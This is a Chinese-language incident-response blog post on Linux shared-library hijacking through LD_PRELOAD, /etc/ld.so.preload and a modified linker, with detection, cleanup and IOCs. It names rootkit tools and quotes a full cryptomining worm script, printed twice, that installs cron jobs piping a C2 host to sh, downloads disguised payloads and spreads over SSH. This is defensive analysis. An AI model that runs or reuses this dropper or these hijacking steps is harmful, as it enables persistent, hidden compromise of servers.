應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

0×01 菜逼階段

Linux庫文件劫持這種案例在今年的9月份遇到過相應的案例,當時的情況是有臺服務器不斷向個可疑IP發包,嘗試建立連接,後續使用殺軟殺出木馬,重啟後該服務器還是不斷的發包,使用netstat、lsof等常用系統命令無法查看到相應的PID。這樣的話就無法定位到相應的進程,協助處理,懷疑中了rootkit,使用rkhunter進行查殺,未殺出rootkit。以為是內核的問題導致無法查看到相應進程的PID,就沒有深入分析。

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

0×02 持續菜逼

沒過多久,內部同事也扔過來這樣一個問題。也是通過netstat無法查看到相應的PID,同事懷疑中了木馬,但是使用rkhunter等工具未查出異常,以為情況和前期一樣,也沒有深入分析與研究。

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

0×03 深入學習與瞭解原理

大概過了一個月,內部同事也遇到相同的問題,協助處置,經過學習與分析,發現前期自己的思路完全錯誤了,以為是內核問題導致的netstat無法查看到PID,並且前期太依賴工具(rootkit)的查殺結果,其實是庫文件劫持導致的情況。深入學習與分析後,便有了今天這篇文章。將在處置與分析過程中遇到的各種坑同步給經常做應急的小夥伴,防止後期連續踩坑。

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

二、庫文件劫持原理

前期有大佬做個這個案例的分析,感興趣的小夥伴可以學習一下,個人感覺總結的非常全面。

https://www.freebuf.com/column/162604.html

引用裡面的一張圖,Linux動態預加載的流程如下:

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

<code> 1. 應用程序在通過系統接口調用內核時會預先加載動態鏈接庫, 即使程序不依賴這些動態鏈接庫,LD_PRELOAD環境變量和/etc/ld.so.preload配置文件中指定的動態鏈接庫依然會被加載。 2. 這個庫裡面主要包括兩個內容:LD_PRELOAD和/etc/ld.so.preload 3. LD_PRELOAD用於預加載環境變量 4. /etc/ld.so.preload用於預加載配置文件 5. 默認情況下LD_PRELOAD和/etc/ld.so.preload無配置 6. 動態編譯:不論程序依賴不依賴動態鏈接庫,都會加載LD_PRELOAD環境變量和/etc/ld.so.preload配置文件中指定的動態鏈接庫依然會被裝載 7. 靜態編譯:不動態加載系統庫文件,直接將程序所需要的各種文件全部集中到該軟件平臺中,這樣就可以解決系統庫文件被劫持,中了rootkit等導致連接、網絡等被隱藏的情況,常用的工具如busybox/<code>

三、庫文件劫持技術

前文可以看到Linux預加載的配置文件主要有兩個:LD_PRELOAD和/etc/ld.so.preload,因此針對Linux的庫文件劫持可以圍繞這兩個進行展開,目前主流的劫持技術主要有三種:

更改LD_PRELOAD環境變量,加載惡意庫文件

/etc/ld.so.preload加載惡意的庫文件(主流的劫持技術)

更改默認的庫文件/etc/ld.so.preload為其他庫文件

其中第二條是目前遇到的最多的,其主要是通過更改/etc/ld.so.preload來預加載其他惡意的庫文件來實現對系統命令,如netstat、cat、top等進行劫持,從而到達隱藏進程、連接、性能等目的,這種也是rootkit典型的技術。

3.1LD_PRELOAD劫持

3.1.1 劫持實現

這種劫持實現相對較簡單,可以通過以下方法來實現:

<code> 1. LD_PRELOAD=/lib/f1c8d7.so       將LD_PRELOAD的值設置為要預加載的動態鏈接庫 2. export LD_PRELOAD      導出環境變量使該環境變量生效 3.一般情況下相關的庫文件會被加上隱藏屬性/<code>
應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

3.1.2 如何檢測

1.因為是通過更改環境變量實現的加載惡意庫文件,因此可以直接查看環境變量,簡單效果好,echo $LD_PRELOAD即可查看到是否存在劫持

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

2.根據Linux的預加載機制,相應的系統命令都會加載LD_PRELOAD環境變量指定的內容,因此可以通過strace來跟蹤相應系統命令加載的庫文件來分析,我們知道Linux預加載就兩個LD_PRELOAD和/etc/ld.so.preload,下面可以看到對/bin/ls進行跟蹤發現其打開了/lib/f1c8d7.so,同時提示沒有

/etc/ld.so.preload這個文件,因此可以判斷是通過環境變量實現劫持的。

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

3.2 /etc/ld.so.preload劫持

3.2.1 如何實現

這種劫持方式是目前遇到的最多的也是最主流的劫持方式,其主要是修改其配置,將其加載一個惡意的庫文件來實現劫持。這裡面可以使用github裡面的工具來實現,詳細可參考:

https://github.com/mempodippy/cub3

3.2.2 劫持分析

使用cat無法查看相應的內容;使用busybox可以看到相應的內容,說明存在庫劫持。並且其類型是修改/etc/ld.so.preload內容,增加惡意庫文件實現劫持。

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

3.2.3 cub3.so內容

使用strings查看cub3.so內容

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

3.2.4 調試跟蹤

由於cat命令被劫持了,因此我們可以使用strace來追蹤/bin/cat命令的加載情況,可以看到其訪問/etc/ld.so.preload,並且打開了/lib/cub3.so這個庫文件。

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

3.2.5 如何處置

去掉隱藏屬性

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

chattr -ia/etc/ld.so.preload

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

rm -rf/etc/ld.so.preload /lib/cub3.so

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

3.3 修改動態鏈接器劫持分析

3.3.1 如何實現

正常情況下,相關的系統功能會默認調用/etc/ld.so.preload這個庫文件,但是也存在這個默認庫文件被修改的情況,所以我們需要分析相關係統命令默認調用的庫文件來分析其是否被修改。

正常情況下,相關係統命令調用的默認庫文件可以通過strace命令來追蹤,其如下所示:

<code>strace -f -e trace=file /bin/ls/<code>

可以看到,其默認調用的是/etc/ld.so.preload這個庫文件:

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

下面我們來修改這個默認庫文件實現劫持來分析:

劫持使用的腳本為: https://github.com/mempodippy/vlany

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

創建後門賬號test1

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

3.3.2 功能分析

通過其官方說明裡可以看到,其特徵就是rootkit的典型特徵,具有隱藏進程、用戶、網絡、後門等。

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

3.3.3 劫持分析

正常情況下,我們可以看到其默認加載的庫為/etc/ld.so.preload

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

安裝完相應的惡意程序以後,其默認庫文件被修改為/bin/.Kv8Xqykz,這個時候相關的默認庫被修改了

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

3.3.4 如何處置

<code> 1.直接隨便寫一個庫文件到/etc/ld.so.preload中 2.然後再刪除/etc/ld.so.preload就可以了/<code>
應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

四、如何檢測庫文件劫持

前面我們看到針對Linux的庫文件劫持,常用的方法就三種:

更改LD_PRELOAD環境變量,加載惡意庫文件

/etc/ld.so.preload加載惡意的庫文件(主流的劫持技術)

更改默認的庫文件/etc/ld.so.preload為其他庫文件

因此,檢測這一塊也是針對性的進行檢測

4.1分析LD_PRELOAD環境變量

比較簡單,直接echo$LD_PRELOAD即可查看是否存在針對環境變量的劫持行為。這裡就不再贅述。

4.2 靜態查看與動態查看對比檢測

原理比較簡單,就是使用系統命令與靜態工具,如busybox執行的命令進行對比,如果結果一致,這裡面就不存在劫持。如果不一致就可能存在劫持。一般情況下,這種針對庫文件的劫持會針對所有的系統命令進行劫持,因此我們可以隨便選擇一個系統命令,通過執行系統命令與使用busybox靜態執行的命令進行對比即可發現是否存在劫持,詳細實現如下:

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

4.3 使用strace進行動態跟蹤

strace可用來跟蹤相應的庫文件加載情況,這種方式是相對靠譜的方式。若擔心strace這個命令被替換或被植入rootkit可以使用busybox來執行該命令。

4.3.1 分析LD_PRELOAD環境變量劫持

根據Linux的預加載機制,相應的系統命令都會加載LD_PRELOAD環境變量指定的內容,因此可以通過strace來跟蹤相應系統命令加載的庫文件來分析,我們知道Linux預加載就兩個LD_PRELOAD和/etc/ld.so.preload,下面可以看到對/bin/ls進行跟蹤發現其打開了/lib/f1c8d7.so,同時提示沒有

/etc/ld.so.preload這個文件,因此可以判斷是通過環境變量實現劫持的。

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

4.3.2 分析/etc/ld.so.preload庫文件劫持

由於cat命令被劫持了,因此我們可以使用strace來追蹤/bin/cat命令的加載情況,可以看到其訪問/etc/ld.so.preload,並且打開了/lib/cub3.so這個庫文件。

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

4.3.3 分析修改默認動態鏈接器來實現劫持

使用strace進行跟蹤可以看到其默認庫文件被修改為/bin/.Kv8Xqykz,這個時候相關的默認庫被修改了

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

4.4 github腳本

Github上有大佬放了用來檢測庫文件劫持的腳本,相應的腳本地址如下:

https://github.com/mempodippy/detect_preload

五、遇到的Linux庫文件劫持案例

5.1現象

5.1.1 定時任務

系統被植入定時任務,但是通過crontab–r無法刪除

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

相應的C2地址為lsd.systemten.org,通過微步在線查看其已被標識為遠控、挖礦木馬。

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

相應的腳本如下:

<code>exportPATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin/<code>

mkdir -p /tmp

chmod 1777 /tmp

echo "*/10 * * * * (curl-fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org||python -c'import urllib;printurllib.urlopen(\" http://lsd.systemten.org \").read()')|sh"|crontab- cat > /etc/crontab <

SHELL=/bin/bash

PATH=/sbin:/bin:/usr/sbin:/usr/bin

*/10 * * * * root (curl -fsSL-m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org||python -c 'importurllib;printurllib.urlopen(" http://lsd.systemten.org ").read()'||/usr/local/sbin/638b6d9fb883b8)|sh

EOF

find /etc/cron*|xargs chattr -i

find /var/spool/cron*|xargschattr -i

grep -RE "(wget|curl)"/etc/cron*|grep -v systemten|cut -f 1 -d

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

xargs rm -rf

grep -RE"(wget|curl)" /var/spool/cron*|grep -v systemten|cut -f 1 -d

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

xargsrm -rf

cd /tmp

touch /usr/local/bin/writeable&& cd /usr/local/bin/

touch /usr/libexec/writeable&& cd /usr/libexec/

touch /usr/bin/writeable&& cd /usr/bin/

rm -rf /usr/local/bin/writeable/usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)

a64="img.sobot.com/chatres/89/msg/20191022/78e3582c42824f17aba17feefb87ea5f.png"

a32="img.sobot.com/chatres/89/msg/20191022/2be662ee79084035914e9d6a6d6be10d.png"

b64="cdn.xiaoduoai.com/cvd/dist/fileUpload/1571723350789/0.25579108623802416.jpg"

b32="cdn.xiaoduoai.com/cvd/dist/fileUpload/1571723382710/9.915787746614242.jpg"

c64=" https://user-images.githubusercontent.com/56861392/67261951-83ebf080-f4d5-11e9-9807-d0919c3b4b74.jpg "

c32=" https://user-images.githubusercontent.com/56861392/67262078-0aa0cd80-f4d6-11e9-8639-63829755ed31.jpg "

if [ ! -f"638b6d9fb883b8" ]; then

ARCH=$(getconf LONG_BIT)

if [ ${ARCH}x = "64x" ]; then

(curl -fsSL -m180 $a64 -o638b6d9fb883b8||wget -T180 -q $a64 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$a64'","638b6d9fb883b8")'||curl -fsSL -m180 $b64 -o 638b6d9fb883b8||wget-T180 -q $b64 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$b64'","638b6d9fb883b8")'||curl -fsSL -m180 $c64 -o 638b6d9fb883b8||wget-T180 -q $c64 -O 638b6d9fb883b8||python -c 'import urllib;urllib.urlretrieve("'$c64'","638b6d9fb883b8")')

else

(curl -fsSL -m180 $a32 -o638b6d9fb883b8||wget -T180 -q $a32 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$a32'","638b6d9fb883b8")'||curl -fsSL -m180 $b32 -o 638b6d9fb883b8||wget-T180 -q $b32 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$b32'","638b6d9fb883b8")'||curl -fsSL -m180 $c32 -o 638b6d9fb883b8||wget-T180 -q $c32 -O 638b6d9fb883b8||python -c 'import urllib;urllib.urlretrieve("'$c32'","638b6d9fb883b8")')

fi

fi

chmod +x 638b6d9fb883b8

$(pwd)/638b6d9fb883b8 ||./638b6d9fb883b8 || /usr/bin/638b6d9fb883b8 || /usr/libexec/638b6d9fb883b8 ||/usr/local/bin/638b6d9fb883b8 || 638b6d9fb883b8 || /tmp/638b6d9fb883b8 ||/usr/local/sbin/638b6d9fb883b8

if [ -f /root/.ssh/known_hosts] && [ -f /root/.ssh/id_rsa.pub ]; then

for h in $(grep -oE"\\b([0-9]{1,3}\\.){3}[0-9]{1,3}\\b" /root/.ssh/known_hosts); do ssh-oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h "(curl-fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org||python -c 'importurllib;print urllib.urlopen(\" http://lsd.systemten.org \").read()')|sh>/dev/null 2>&1 &" & done

fi

for file in /home/*

do

if test -d $file; then

if [ -f $file/.ssh/known_hosts ]&& [ -f $file/.ssh/id_rsa.pub ]; then

for h in $(grep -oE"\\b([0-9]{1,3}\\.){3}[0-9]{1,3}\\b" $file/.ssh/known_hosts); do ssh-oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h "(curl-fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org||python -c 'importurllib;print urllib.urlopen(\" http://lsd.systemten.org \").read()')|sh>/dev/null 2>&1 &" & done

fi

fi

done

#

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

xargs rm -rf

grep -RE"(wget|curl)" /var/spool/cron*|grep -v systemten|cut -f 1 -d

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

xargsrm -rf

cd /tmp

touch /usr/local/bin/writeable&& cd /usr/local/bin/

touch /usr/libexec/writeable&& cd /usr/libexec/

touch /usr/bin/writeable&& cd /usr/bin/

rm -rf /usr/local/bin/writeable/usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)

a64="img.sobot.com/chatres/89/msg/20191022/78e3582c42824f17aba17feefb87ea5f.png"

a32="img.sobot.com/chatres/89/msg/20191022/2be662ee79084035914e9d6a6d6be10d.png"

b64="cdn.xiaoduoai.com/cvd/dist/fileUpload/1571723350789/0.25579108623802416.jpg"

b32="cdn.xiaoduoai.com/cvd/dist/fileUpload/1571723382710/9.915787746614242.jpg"

c64=" https://user-images.githubusercontent.com/56861392/67261951-83ebf080-f4d5-11e9-9807-d0919c3b4b74.jpg "

c32=" https://user-images.githubusercontent.com/56861392/67262078-0aa0cd80-f4d6-11e9-8639-63829755ed31.jpg "

if [ ! -f"638b6d9fb883b8" ]; then

ARCH=$(getconf LONG_BIT)

if [ ${ARCH}x = "64x" ]; then

(curl -fsSL -m180 $a64 -o638b6d9fb883b8||wget -T180 -q $a64 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$a64'","638b6d9fb883b8")'||curl -fsSL -m180 $b64 -o 638b6d9fb883b8||wget-T180 -q $b64 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$b64'","638b6d9fb883b8")'||curl -fsSL -m180 $c64 -o 638b6d9fb883b8||wget-T180 -q $c64 -O 638b6d9fb883b8||python -c 'import urllib;urllib.urlretrieve("'$c64'","638b6d9fb883b8")')

else

(curl -fsSL -m180 $a32 -o638b6d9fb883b8||wget -T180 -q $a32 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$a32'","638b6d9fb883b8")'||curl -fsSL -m180 $b32 -o 638b6d9fb883b8||wget-T180 -q $b32 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$b32'","638b6d9fb883b8")'||curl -fsSL -m180 $c32 -o 638b6d9fb883b8||wget-T180 -q $c32 -O 638b6d9fb883b8||python -c 'import urllib;urllib.urlretrieve("'$c32'","638b6d9fb883b8")')

fi

fi

chmod +x 638b6d9fb883b8

$(pwd)/638b6d9fb883b8 ||./638b6d9fb883b8 || /usr/bin/638b6d9fb883b8 || /usr/libexec/638b6d9fb883b8 ||/usr/local/bin/638b6d9fb883b8 || 638b6d9fb883b8 || /tmp/638b6d9fb883b8 ||/usr/local/sbin/638b6d9fb883b8

if [ -f /root/.ssh/known_hosts] && [ -f /root/.ssh/id_rsa.pub ]; then

for h in $(grep -oE"\\b([0-9]{1,3}\\.){3}[0-9]{1,3}\\b" /root/.ssh/known_hosts); do ssh-oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h "(curl-fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org||python -c 'importurllib;print urllib.urlopen(\" http://lsd.systemten.org \").read()')|sh>/dev/null 2>&1 &" & done

fi

for file in /home/*

do

if test -d $file; then

if [ -f $file/.ssh/known_hosts ]&& [ -f $file/.ssh/id_rsa.pub ]; then

for h in $(grep -oE"\\b([0-9]{1,3}\\.){3}[0-9]{1,3}\\b" $file/.ssh/known_hosts); do ssh-oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h "(curl-fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org||python -c 'importurllib;print urllib.urlopen(\" http://lsd.systemten.org \").read()')|sh>/dev/null 2>&1 &" & done

fi

fi

done

#

5.1.2 本地文件

同時使用rm -rf命令也無法刪除相應的文件

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

5.1.3 網絡連接

通過分析網絡連接,發現了和前期遇到相同的情況,看不到PID

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

5.1.4 性能分析

既然是挖礦其CPU肯定會被利用的非常多,但是我們使用TOP命令來看,其CPU利用率非常低,完全看不出有問題。

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

5.2分析

5.2.1 busybox分析

有了前面分析的基礎,這個時候我們再去處置這個問題就相對簡單了。Linux庫文件劫持這塊如果找不對方向處置的話會很頭疼,明白了原理和手法以後再去分析就相對簡單了。

直接上神器busybox,可以看到兩個PID(104110和104025)佔了98%以上的CPU

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

同時,使用busybox查看netstat可以看到前面沒有看到的PID主要為104025。個人推測:PID為104110主要是用來進行挖礦的;104025主要是用來進行和礦池通信、分發任務等功能。

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

5.2.2 庫文件劫持分析

直接使用buxybox查看,可以看到/etc/ld.so.preload加載了下面這個庫文件/usr/local/lib/libEGID.so,這個庫文件肯定是用來進行劫持使用的惡意庫文件。

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

5.3 處置

上面可以看到該惡意程序的功能如下:

<code> 1. 庫文件劫持 2. 創建定時任務 3. 禁止刪除文件 4. 創建惡意進程 5. 網絡外連/<code>

因此處置主要是根據上面的行為來進行針對性的處置,處置的前提是要收集好具體的惡意行為,如創建了哪些定時任務、生成了哪些惡意進程等。網上有人寫了相應的腳本,我們在處置的時候可以參考相應的腳本,但是裡面的進程可能不是腳本里面的進程、惡意的文件目錄也可能不是腳本里面的,我們需要根據遇到的具體情況來進行更新與完善,相關的核心點如下:

5.3.1 刪除定時任務

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

5.3.2 刪除異常進程

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

5.3.3 修復動態庫

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

5.3.4 修復啟動項

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

5.4 總結

庫文件劫持這種技術平時遇到的相對較少,但是在freebuf上搜了一下,從18年開始就流行了,平時如果沒有這方面的積累,遇到以後還是難以處理。這篇文章相當於給大家掃盲,瞭解了其原理以後再去處置就會得心應手。

六、LOCs

6.1IP

<code> 121.237.8.28 121.237.8.29 121.237.8.31 121.237.8.33 121.237.8.35 121.237.8.36 121.237.8.38 121.237.8.41 121.237.8.42 121.237.8.47 121.237.8.48 121.237.8.50/<code>

6.2 域名

<code> lsd.systemten.org aliyun.one/<code>

6.3 MD5

<code> 6e734be6192fc688421641fee6b06c01/<code>

最後

覺得此文不錯的大佬們可以多多關注或者幫忙轉發分享一下哦,感謝!!!!

應急響應系列之Linux庫文件劫持技術分析,有點硬核喲

"


分享到:


相關文章: